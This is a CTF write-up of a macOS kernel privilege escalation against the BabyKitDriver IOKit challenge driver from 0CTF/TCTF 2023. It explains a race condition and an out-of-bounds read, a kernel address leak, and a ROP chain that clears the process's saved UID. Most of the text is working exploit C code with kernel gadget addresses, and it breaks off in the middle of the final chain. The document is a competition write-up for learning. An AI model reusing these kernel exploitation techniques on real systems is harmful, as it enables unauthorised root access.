I played with the Blue Water team in the 0CTF/TCTF 2023. We managed to secure the first place. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork during it!
Below is the writeup for the kernel pwn challenge called BabyKitDriver, which is a macOS Local Privilege Escalation challenge.
Pwn
BabyKitDriver
Description
qemu+macOS ventura 13.6.1
upload your exploit binary and the server will run it for you, you can get the output of your exploit.
the flag is at /flag
Just pwn my first IOKit Driver!
nc baby-kit-driver.ctf.0ops.sjtu.cn 20001
Initial Analysis
In this challenge, we were given a kext folder which is a driver of macOS kernel. Based on the challenge description, seems like the given driver is an IOKit Driver. Our goal is to pwn the driver, so that we can do local privilege escalation in macOS through the vulnerable driver.
There aren’t too many resources in the internet about it, but we found a good writeup which mentioned a book that can be read to understand the basic of how to communicate with IOKit driver. The book name is “OS X and iOS Kernel Programming”, which is very recommended to be read to help understand this challenge (Especially the chapter 5).
Let’s start by disassembling the given driver. We observed that there are two main class exists on there, which is BabyKitDriver and BabyKitDriverUserClient. The book already mentioned that this is the typical of how IOKit driver looks like.
Checking through the BabyKitDriver class, seems like there aren’t any interesting things, so we can shift our focus towards BabyKitDriverUserClient class, which is the one that we can interact with.
Let’s start by checking the BabyKitDriverUserClient::externalMethod first, which will list the available methods that user can call from userland.
Taking a glance, seems like there are only two functions that we can interact with. Checking through the sMethods, which basically a list of IOExternalMethodDispatch, we can see that there are two functions that we can interact:
BabyKitDriverUserClient::baby_read
Checking through its attribute, we can call this function by passing 2 scalar inputs with no output.
BabyKitDriverUserClient::baby_leaveMessage
Checking through its attribute, we can call this function by passing 3 scalar inputs with no output.
Let’s start by checking the baby_leaveMessage code first.
Looking through the above code, this function will try to allocate a heap chunk during the first time it was called, and store it into v7 +0x90. Based on our first argument, it will store a function pointer to chunk+0x0 or chunk+0x8, depends whether our first argument is 0 or not. This function will also do copyin, which will copy the contents of userland address that we passed in second argument. Regarding the size, if our first argument is not zero, we can specify the data size (as long as it is not larger than 0x200), else, the size is fixed at 0x100. It will also stored our first argument as well at v7+0x98.
Observed that there aren’t any locks implemented in this driver. There is a race condition that can be triggered here. Observed that if we can race between baby_leaveMessage(0,,) and baby_leaveMessage(1,,), there can be an inconsistent state where:
baby_leaveMessage(1,,) caused the stored *(_QWORD *)(v7 + 0x98) to be 1.
Yet, baby_leaveMessage(0,,) overwrite the function pointer in *(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL), because for 0 case, the write start from chunk+0x8.
Now, let’s check the baby_read function so that we can know what can we do with the race.
This function will check, whether the driver already allocated a heap chunk or not. If it is not null, it will copy the chunks contents to the userland address that we passed as the first argument. Depends on our previous input in baby_leaveMessage, if the v7+0x98 (which is our first argument input in baby_leaveMessage) is not zero, we can specify our own size, else, it will be fixed at 0x100.
Back to the race condition that we can triggered, if let say we caused inconsistent state where v6 is not zero, but baby_leaveMessage(0,,) overwrite the chunk+0x8, we can basically have RIP control, because this LOC,
will allow us to control the function that is called in here.
Another thing is we can see that there is one bug in this function. If v6 is not zero and we specify 0 as our size, the copyout will copy (0 - 1) & 0xFFF size to our userland address. This means we have OOB Read, because our chunk size is only 0x300. We might get some good leaks from it.
Now that we know the bug, let’s start to craft our solution.
Solution
Before crafting our solution, we need to setup debug environment first because this is a macOS kernel pwn challenge.
Setup Debug Environment
We use OSX-KVM as our macOS VM. Below is the step-by-step that we need to do so that we can successfully run the OSX-KVM in our local:
During running the fetch-macOS-v2.py, we choose the Ventura option. However, the Ventura version that is fetched here is not the same version that is used in this challenge. We will need to do extra step later.
For the virtual HDD image size, 64G is enough.
Now, we need to follow the run_offline instructions, because we want to specifically install the 13.6.1 version.
Make sure that you download the 13.6.1 installer.
Make sure that during formatting the virtual HDD via the GUI Disk Utility:
Named it as macOS.
Use APFS filesystem.
The documentation mentioned that it isn’t recommended to use APFS, but the VM won’t work if we didn’t use APFS.
This is a very important step.
When you successfully installed the VM, some extra steps that we did to make our debugging smoother:
We enabled the remote login, so that we can interact via SSH and send/receive files via SCP.
After enabling the remote login, we can simply use port 2222 to access the VM from the host.
We copied the kernel image used in this OS, which can be found in the /System/Library/Kernels/kernel.
Type gcc in terminal. You will be prompted to install some tools, and just press yes to it, so that we can compile our exploit in this VM.
Download the kext challenge, and install it with sudo kextload BabyKitDriver.kext.
We need to do this everytime we crashed.
During the first time we do this, we will need to go to System Preferences to allow it to be installed (which will reboot the VM as well).
Now that we have running VM with driver of the challenge installed, and we can start crafting our exploit now.
Getting Leak
Let’s start by setting up some helpers to interact with the IOKit driver. Below is the helper that we made, mostly copying from this writeup and using ChatGPT :D.
#include<stdio.h>#include<stdlib.h>#include<fcntl.h>#include<unistd.h>#include<string.h>#include<sys/ioctl.h>#include<pthread.h>#include<sched.h>#include<IOKit/IOKitLib.h>#include<CoreFoundation/CoreFoundation.h>#include<mach/mach.h>#define kBabyRead 0
#define kLeaveMessage 1
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
uint64_tkbase,slide;io_connect_tconnection;charropChain[0x200];intloop_end=100000;// TODO: define gadgets and addresses that we need for ROP Chain
voidprint_data(char*buf,size_tlen){puts("-----");for(inti=0;i<len;i+=8){char*fmt_str;if((i/8)%2==0){fmt_str="0x%04x: 0x%016lx";printf(fmt_str,i,*(unsignedlong*)&buf[i]);}else{fmt_str=" 0x%016lx\n";printf(fmt_str,*(unsignedlong*)&buf[i]);}}puts("-----");}uint64_tGetKextAddr(){FILE*fp;charline[4096];fp=popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");if(fp==NULL){printf("Failed to get KEXT address!\n");exit(-1);}fgets(line,sizeof(line)-1,fp);uint64_taddr=(uint64_t)strtoul(line,NULL,16);fclose(fp);returnaddr;}voidbaby_read(void*buf,unsignedlongsize){unsignedlongargs[2]={(unsignedlong)buf,size};IOConnectCallScalarMethod(connection,kBabyRead,(constuint64_t*)args,2,0,0);}voidleave_message(unsignedlongmsg_type,void*buf,unsignedlongsize){unsignedlongargs[3]={msg_type,(unsignedlong)buf,size};IOConnectCallScalarMethod(connection,kLeaveMessage,(constuint64_t*)args,3,0,0);}voidbabyKitConnect(io_connect_t*connection){kern_return_tkr;io_service_tserviceObject;io_iterator_titerator;CFDictionaryRefclassToMatch;classToMatch=IOServiceMatching(kIOKitClassName);if(classToMatch==NULL){printf("IOServiceMatching returned a NULL dictionary\n");exit(-1);}serviceObject=IOServiceGetMatchingService(kIOMainPortDefault,classToMatch);if(!MACH_PORT_VALID(serviceObject)){printf("IOServiceGetMatchingService failed\n");exit(-1);}kr=IOServiceOpen(serviceObject,mach_task_self(),0,connection);IOObjectRelease(serviceObject);if(kr!=KERN_SUCCESS){printf("IOServiceOpen returned %d\n",kr);exit(-1);}}
Now that we have defined our helper, let’s start by checking what OOB data that we can get from the baby_read bug.
1
2
3
4
5
6
7
8
9
10
11
intmain(){/*
Get leak with the first bug (setting size to 0 will trigger OOB read)
*/charbuf[0x1000];memset(buf,0x41,sizeof(buf));leave_message(1,buf,0x200);memset(buf,0x0,sizeof(buf));baby_read(buf,0);print_data(buf,sizeof(buf));}
From the output, we can see that we can get some leaks of the kernel addresses. We decided to use the data fetched from the 0x318 because this seems consistent enough to be used as a leaked address. Based on the GDB observation, this address has static offset from the BabyKitDriver address. Below is how we calculated the kernel address based on the leak.
1
2
3
4
5
6
7
8
9
...uint64_tleaked=*(unsignedlong*)&buf[0x318];uint64_tkext_base=leaked-0x1808;slide=kext_base-GetKextAddr()+0xdc000;kbase=KERNEL_BASE_NO_SLID+slide;printf("[*] Kext Base : 0x%llx\n",kext_base);printf("[*] Kernel Text Base: 0x%llx\n",kbase);printf("[*] Kernel Slide : 0x%llx\n",slide);...
GetKextAddr() is our helper that we defined before, which will return the default address of the BabyKitDriver. With this OOB bug, we now know the base address of the kernel. Now, it’s time to move to the next step, which is crafting our ROP Chain.
Crafting ROP Chain
Notes that in this step, we only craft and prepare our ROP Chain. We will use this later when we able to trigger the race.
Now that we have a leak, we need to think how should we craft our ROP Chain. Based on reading some writeups, usually the target in macOS local privilege escalation is we want to overwrite the cred struct.
First, let’s recap what can we do if we trigger the race. We will make a call like below if we trigger the race:
We can overwrite the function with anything that we want, and upon observing in gdb:
rsi points to chunk+0x10
rcx points to chunk
By using this information, we need to put a good gadget in the chunk+0x8 via race, so that we can perform ROP. One of the idea is we need to somehow pivot the stack to the chunk, because we can store our ROP Chain easily (with size limit up to 0x200 bytes).
Looking through the available gadgets on the kernel, we found some good gadgets, which are:
Now, if we overwrite the function pointer to the first gadget:
push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66] will push chunk address to top of our stack.
rsi points to chunk+0x10, and we can control the content of [rsi+0x66]. If we set rsi+0x66, which is chunk+0x76 to the pop rsp gadget, we will:
Pivot the stack to chunk, because the popped value to rsp is the rcx that we just pushed, which is chunk.
Pop 3 times, and our ROP chain will continue at chunk+0x18.
With this, we can setup our ROP first with baby_leaveMessage, so that the chunk will contain our ROP Chain.
Now, what should we do with the ROP Chain? There is already an old writeup that explain how to do it, which said that:
There is current_proc function that can be called to fetch the current proc
There is proc_ucred function, which will return the ucred of the current process if we pass the proc as its first argument.
After getting ucred, we basically just need to overwrite the svuid stored inside of it.
Then, we need to call thread_exception_return to get back to userland.
However, there is a problem that we found later when we execute the ROP Chain following the above writeup. In this kernel version, the ucred resides in read-only area, which means if we try to overwrite the svuid value directly, we will crash. One of my teammate (sampriti) found out that the credential is allocated with a special read-only allocator, which is why it is in the ro area. Turns out, even though it resides in a ro area, we can still overwrite it with their allocator API. There is a function called pmap_ro_zone_atomic_op which can be used to nullify the cred->cr_svuid by doing a call:
...// Gadgets
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret
.../*
Build our ROP Chain
*/uint64_t*chain;chain=(uint64_t*)&ropChain[0x0];// Start at chunk+0x8 in driver. When the race is triggered,
// chunk+0x8 will be called, which will pivot the stack to this
// chunk and do ROP Chain.
*chain++=push_rcx_jmp_qword_ptr_rsi_plus_0x66;// rsi+0x66 will contains gadget to pivot stack to this heap chunk
*chain++=0x0;// chunk+0x10 won't be used
// Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
// , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
//
// We will try to perform
// pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
// , which will update the cred->cr_svuid
*chain++=current_proc;*chain++=pop_rcx;*chain++=proc_ucred;*chain++=mov_rdi_rax_pop_rbp_jmp_rcx;*chain++=0x4141414141414141;// We will continue the ROP Chain at 0x80 just for convenience
*chain++=ret;*chain++=ret;*chain++=ret;*chain++=ret;*chain++=ret;// Need to do this because:
// - rsi points to chunk+0x10
// - there will be jmp qword ptr [rsi+0x66], which mean we need to put
// gadget in chunk+0x76
// So what we do here is we reserve 0x10 bytes starting from chunk+0x70
*chain++=pop_r14_r15;*chain++=0x4141414141414141;*chain++=0x4141414141414141;// Overwrite chunk+0x76 to pivot stack gadget
uint64_t*chunk_0x76=(uint64_t*)&ropChain[0x76-8];*chunk_0x76=pop_rsp_r13_r14_r15;// Continue ROPChain
// // Debugging purposes
// *chain++ = pop_rcx;
// *chain++ = addr_save_loc;
// *chain++ = mov_qword_rcx_rax_pop_rbp;
// *chain++ = 0x4141414141414141;
// rax still contains the ucred (returned from proc_ucred)
// Set rsi to ucred
*chain++=mov_rsi_rax_spoil_rax_pop_rbp_ret;*chain++=0x4141414141414141;// Set rdi
*chain++=pop_rdi;*chain++=7;// ZONE_ID_KAUTH_CRED
// Set rdx
*chain++=pop_rdx;*chain++=0x20;// Set rcx
*chain++=pop_rcx;*chain++=0x34;// ZRO_ATOMIC_AND_32
// Set r8
*chain++=pop_r8_eax_spoil;*chain++=0;// Call pmap_ro_zone_atomic_op
*chain++=pmap_ro_zone_atomic_op;// Return to userland
*chain++=thread_exception_return;...
This is the ROP Chain to nullify the svuid, but this isn’t enough. We will visit this again later during the race part.
Trigger Race
So, we need to trigger the race. How to do it, we just need to spawn two threads, where the first one is calling leave_message(0,,), and the other one call leave_message(1,,) and baby_read. Below is the code:
void*race(){for(inti=0;i<loop_end;i++){leave_message(0,ropChain,0x100);}returnNULL;}intmain(){.../*
Trigger Race Condition:
- Create a new thread which will call leave_message(0, ropChain, 0x100);
- In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
- Race is success if:
- chunk+0x98 is set to 1
- yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
*/pthread_tth;pthread_create(&th,NULL,race,NULL);chartest[0x100];memset(test,0,sizeof(test));for(inti=0;i<loop_end;i++){leave_message(1,&ropChain[0x8],0x200);baby_read(test,0x100);}...}
#include<stdio.h>#include<stdlib.h>#include<fcntl.h>#include<unistd.h>#include<string.h>#include<sys/ioctl.h>#include<pthread.h>#include<sched.h>#include<IOKit/IOKitLib.h>#include<CoreFoundation/CoreFoundation.h>#include<mach/mach.h>#define kBabyRead 0
#define kLeaveMessage 1
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
uint64_tkbase,slide;io_connect_tconnection;charropChain[0x200];intloop_end=100000;// Gadgets
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret
// Existing kernel functions
#define current_thread slide+0xFFFFFF80004D1ED0
#define current_proc slide+0xFFFFFF8000989860
#define proc_ucred slide+0xFFFFFF80008556B0
#define pmap_ro_zone_atomic_op slide+0xFFFFFF80004B0410
#define thread_exception_return slide+0xFFFFFF8000334DCA
// Debugging purposes
#define debug_gadget 0xffffff800033620a+slide
#define addr_save_loc 0xFFFFFF8000C18000+slide
#define eb_fe 0xFFFFFF800037E726+slide
// Helper method during debugging
voidprint_data(char*buf,size_tlen){puts("-----");for(inti=0;i<len;i+=8){char*fmt_str;if((i/8)%2==0){fmt_str="0x%04x: 0x%016lx";printf(fmt_str,i,*(unsignedlong*)&buf[i]);}else{fmt_str=" 0x%016lx\n";printf(fmt_str,*(unsignedlong*)&buf[i]);}}puts("-----");}uint64_tGetKextAddr(){FILE*fp;charline[4096];fp=popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");if(fp==NULL){printf("Failed to get KEXT address!\n");exit(-1);}fgets(line,sizeof(line)-1,fp);uint64_taddr=(uint64_t)strtoul(line,NULL,16);fclose(fp);returnaddr;}voidbaby_read(void*buf,unsignedlongsize){unsignedlongargs[2]={(unsignedlong)buf,size};IOConnectCallScalarMethod(connection,kBabyRead,(constuint64_t*)args,2,0,0);}voidleave_message(unsignedlongmsg_type,void*buf,unsignedlongsize){unsignedlongargs[3]={msg_type,(unsignedlong)buf,size};IOConnectCallScalarMethod(connection,kLeaveMessage,(constuint64_t*)args,3,0,0);}voidbabyKitConnect(io_connect_t*connection){kern_return_tkr;io_service_tserviceObject;io_iterator_titerator;CFDictionaryRefclassToMatch;classToMatch=IOServiceMatching(kIOKitClassName);if(classToMatch==NULL){printf("IOServiceMatching returned a NULL dictionary\n");exit(-1);}serviceObject=IOServiceGetMatchingService(kIOMainPortDefault,classToMatch);if(!MACH_PORT_VALID(serviceObject)){printf("IOServiceGetMatchingService failed\n");exit(-1);}kr=IOServiceOpen(serviceObject,mach_task_self(),0,connection);IOObjectRelease(serviceObject);if(kr!=KERN_SUCCESS){printf("IOServiceOpen returned %d\n",kr);exit(-1);}}void*race(){for(inti=0;i<loop_end;i++){leave_message(0,ropChain,0x100);}returnNULL;}intmain(){/*
Setup connection
*/babyKitConnect(&connection);/*
Get leak with the first bug (setting size to 0 will trigger OOB read)
*/charbuf[0x1000];memset(buf,0x41,sizeof(buf));leave_message(1,buf,0x200);memset(buf,0x0,sizeof(buf));baby_read(buf,0);uint64_tleaked=*(unsignedlong*)&buf[0x318];uint64_tkext_base=leaked-0x1808;slide=kext_base-GetKextAddr()+0xdc000;kbase=KERNEL_BASE_NO_SLID+slide;printf("[*] Kext Base : 0x%llx\n",kext_base);printf("[*] Kernel Text Base: 0x%llx\n",kbase);printf("[*] Kernel Slide : 0x%llx\n",slide);// getchar();
/*
Build our ROP Chain
*/uint64_t*chain;chain=(uint64_t*)&ropChain[0x0];// Start at chunk+0x8 in driver. When the race is triggered,
// chunk+0x8 will be called, which will pivot the stack to this
// chunk and do ROP Chain.
*chain++=push_rcx_jmp_qword_ptr_rsi_plus_0x66;// rsi+0x66 will contains gadget to pivot stack to this heap chunk
*chain++=0x0;// chunk+0x10 won't be used
// Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
// , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
//
// We will try to perform
// pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
// , which will update the cred->cr_svuid
*chain++=current_proc;*chain++=pop_rcx;*chain++=proc_ucred;*chain++=mov_rdi_rax_pop_rbp_jmp_rcx;*chain++=0x4141414141414141;// We will continue the ROP Chain at 0x80 just for convenience
*chain++=ret;*chain++=ret;*chain++=ret;*chain++=ret;*chain++=ret;// Need to do this because:
// - rsi points to chunk+0x10
// - there will be jmp qword ptr [rsi+0x66], which mean we need to put
// gadget in chunk+0x76
// So what we do here is we reserve 0x10 bytes starting from chunk+0x70
*chain++=pop_r14_r15;*chain++=0x4141414141414141;*chain++=0x4141414141414141;// Overwrite chunk+0x76 to pivot stack gadget
uint64_t*chunk_0x76=(uint64_t*)&ropChain[0x76-8];*chunk_0x76=pop_rsp_r13_r14_r15;// Continue ROPChain
// // Debugging purposes
// *chain++ = pop_rcx;
// *chain++ = addr_save_loc;
// *chain++ = mov_qword_rcx_rax_pop_rbp;
// *chain++ = 0x4141414141414141;
// rax still contains the ucred (returned from proc_ucred)
// Set rsi to ucred
*chain++=mov_rsi_rax_spoil_rax_pop_rbp_ret;*chain++=0x4141414141414141;// Set rdi
*chain++=pop_rdi;*chain++=7;// ZONE_ID_KAUTH_CRED
// Set rdx
*chain++=pop_rdx;*chain++=0x20;// Set rcx
*chain++=pop_rcx;*chain++=0x34;// ZRO_ATOMIC_AND_32
// Set r8
*chain++=pop_r8_eax_spoil;*chain++=0;// Call pmap_ro_zone_atomic_op
*chain++=pmap_ro_zone_atomic_op;// Return to userland
*chain++=thread_exception_return;// Store ROPChain in heap chunk
// &ropChain[0x8] because ropChain is used by leave_message(0) as well, which
// write starting from chunk+0x8. And leave_message(1) write starting from chunk+0x10,
// so, to make the stored ROPChain consistent, we need to send input+0x8 for leave_message(1)
leave_message(1,&ropChain[0x8],0x200);/*
Trigger Race Condition:
- Create a new thread which will call leave_message(0, ropChain, 0x100);
- In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
- Race is success if:
- chunk+0x98 is set to 1
- yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
*/pthread_tth;pthread_create(&th,NULL,race,NULL);chartest[0x100];memset(test,0,sizeof(test));for(inti=0;i<loop_end;i++){leave_message(1,&ropChain[0x8],0x200);baby_read(test,0x100);}return0;}
Let’s try to run this code.
This code was still crashing. We can inspect what caused the crash by clicking Report to Apple. Below is the error that caused the panic.
We couldn’t return to userland because the current_thread()->rwlock_count isn’t 0, so we just need to overwrite this to 0 by updating our ROP Chain just before calling the thread_exception_return.
It isn’t crashing, but it killed the process just after we return to the userland. To overcome this, my teammate sampriti told me that we can actually use a fork() start in the beginning, so that the parent and child will have shared credentials. Using his idea, we can tweak the exploit by:
Calling fork() in the beginning of our exploit.
Child process do the exploit above, so that it will overwrite the shared credentials svuid to 0.
Parent process sleep() first, with hope that after the sleep is finished, the child process (which is killed) already overwrite the shared cred->svuid to 0, so that parent process can read the flag in /flag directory.
#include<stdio.h>#include<stdlib.h>#include<fcntl.h>#include<unistd.h>#include<string.h>#include<sys/ioctl.h>#include<pthread.h>#include<sched.h>#include<IOKit/IOKitLib.h>#include<CoreFoundation/CoreFoundation.h>#include<mach/mach.h>#define kBabyRead 0
#define kLeaveMessage 1
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
uint64_tkbase,slide;io_connect_tconnection;charropChain[0x200];intloop_end=100000;// Gadgets
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret
// Existing kernel functions
#define current_thread slide+0xFFFFFF80004D1ED0
#define current_proc slide+0xFFFFFF8000989860
#define proc_ucred slide+0xFFFFFF80008556B0
#define pmap_ro_zone_atomic_op slide+0xFFFFFF80004B0410
#define thread_exception_return slide+0xFFFFFF8000334DCA
// Debugging purposes
#define debug_gadget 0xffffff800033620a+slide
#define addr_save_loc 0xFFFFFF8000C18000+slide
#define eb_fe 0xFFFFFF800037E726+slide
// Helper method during debugging
voidprint_data(char*buf,size_tlen){puts("-----");for(inti=0;i<len;i+=8){char*fmt_str;if((i/8)%2==0){fmt_str="0x%04x: 0x%016lx";printf(fmt_str,i,*(unsignedlong*)&buf[i]);}else{fmt_str=" 0x%016lx\n";printf(fmt_str,*(unsignedlong*)&buf[i]);}}puts("-----");}uint64_tGetKextAddr(){FILE*fp;charline[4096];fp=popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");if(fp==NULL){printf("Failed to get KEXT address!\n");exit(-1);}fgets(line,sizeof(line)-1,fp);uint64_taddr=(uint64_t)strtoul(line,NULL,16);fclose(fp);returnaddr;}voidbaby_read(void*buf,unsignedlongsize){unsignedlongargs[2]={(unsignedlong)buf,size};IOConnectCallScalarMethod(connection,kBabyRead,(constuint64_t*)args,2,0,0);}voidleave_message(unsignedlongmsg_type,void*buf,unsignedlongsize){unsignedlongargs[3]={msg_type,(unsignedlong)buf,size};IOConnectCallScalarMethod(connection,kLeaveMessage,(constuint64_t*)args,3,0,0);}voidbabyKitConnect(io_connect_t*connection){kern_return_tkr;io_service_tserviceObject;io_iterator_titerator;CFDictionaryRefclassToMatch;classToMatch=IOServiceMatching(kIOKitClassName);if(classToMatch==NULL){printf("IOServiceMatching returned a NULL dictionary\n");exit(-1);}serviceObject=IOServiceGetMatchingService(kIOMainPortDefault,classToMatch);if(!MACH_PORT_VALID(serviceObject)){printf("IOServiceGetMatchingService failed\n");exit(-1);}kr=IOServiceOpen(serviceObject,mach_task_self(),0,connection);IOObjectRelease(serviceObject);if(kr!=KERN_SUCCESS){printf("IOServiceOpen returned %d\n",kr);exit(-1);}}void*race(){for(inti=0;i<loop_end;i++){leave_message(0,ropChain,0x100);}returnNULL;}intmain(){/*
Without fork, when we return from the kernel to userland, it will killed
the process. We need to fork() first in the beginning, so that parent and child
have shared cred.
- Child process will do the exploit, which will overwrite the cr_svuid to 0 (which will be killed).
- Parent process will sleep first, waiting until the child process overwrite the shared cred struct svuid to 0,
then do seteuid(0), setuid(0), setgid(0) so that it will become root.
*/if(fork()==0){/*
Setup connection
*/babyKitConnect(&connection);/*
Get leak with the first bug (setting size to 0 will trigger OOB read)
*/charbuf[0x1000];memset(buf,0x41,sizeof(buf));leave_message(1,buf,0x200);memset(buf,0x0,sizeof(buf));baby_read(buf,0);uint64_tleaked=*(unsignedlong*)&buf[0x318];uint64_tkext_base=leaked-0x1808;slide=kext_base-GetKextAddr()+0xdc000;kbase=KERNEL_BASE_NO_SLID+slide;printf("[*] Kext Base : 0x%llx\n",kext_base);printf("[*] Kernel Text Base: 0x%llx\n",kbase);printf("[*] Kernel Slide : 0x%llx\n",slide);// getchar();
/*
Build our ROP Chain
*/uint64_t*chain;chain=(uint64_t*)&ropChain[0x0];// Start at chunk+0x8 in driver. When the race is triggered,
// chunk+0x8 will be called, which will pivot the stack to this
// chunk and do ROP Chain.
*chain++=push_rcx_jmp_qword_ptr_rsi_plus_0x66;// rsi+0x66 will contains gadget to pivot stack to this heap chunk
*chain++=0x0;// chunk+0x10 won't be used
// Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
// , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
//
// We will try to perform
// pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
// , which will update the cred->cr_svuid
*chain++=current_proc;*chain++=pop_rcx;*chain++=proc_ucred;*chain++=mov_rdi_rax_pop_rbp_jmp_rcx;*chain++=0x4141414141414141;// We will continue the ROP Chain at 0x80 just for convenience
*chain++=ret;*chain++=ret;*chain++=ret;*chain++=ret;*chain++=ret;// Need to do this because:
// - rsi points to chunk+0x10
// - there will be jmp qword ptr [rsi+0x66], which mean we need to put
// gadget in chunk+0x76
// So what we do here is we reserve 0x10 bytes starting from chunk+0x70
*chain++=pop_r14_r15;*chain++=0x4141414141414141;*chain++=0x4141414141414141;// Overwrite chunk+0x76 to pivot stack gadget
uint64_t*chunk_0x76=(uint64_t*)&ropChain[0x76-8];*chunk_0x76=pop_rsp_r13_r14_r15;// Continue ROPChain
// // Debugging purposes
// *chain++ = pop_rcx;
// *chain++ = addr_save_loc;
// *chain++ = mov_qword_rcx_rax_pop_rbp;
// *chain++ = 0x4141414141414141;
// rax still contains the ucred (returned from proc_ucred)
// Set rsi to ucred
*chain++=mov_rsi_rax_spoil_rax_pop_rbp_ret;*chain++=0x4141414141414141;// Set rdi
*chain++=pop_rdi;*chain++=7;// ZONE_ID_KAUTH_CRED
// Set rdx
*chain++=pop_rdx;*chain++=0x20;// Set rcx
*chain++=pop_rcx;*chain++=0x34;// ZRO_ATOMIC_AND_32
// Set r8
*chain++=pop_r8_eax_spoil;*chain++=0;// Call pmap_ro_zone_atomic_op
*chain++=pmap_ro_zone_atomic_op;// // Debugging purposes
// *chain++ = eb_fe;
// Now, during working on this challenge, we found out that we
// couldn't return to userland because there is panic due to rwlock_count is 1.
// We will overwrite it to 0 before return to userland.
*chain++=current_thread;*chain++=mov_rsi_rax_spoil_rax_pop_rbp_ret;*chain++=0x4141414141414141;*chain++=pop_rcx;*chain++=0x44C;// offset for rwlock_count
// Points rsi to rwlock_count
*chain++=add_rsi_rcx_mov_rax_rsi_pop_rbp;*chain++=0x4141414141414141;*chain++=pop_r8_eax_spoil;*chain++=0;// Overwrite rwlock_count to 0
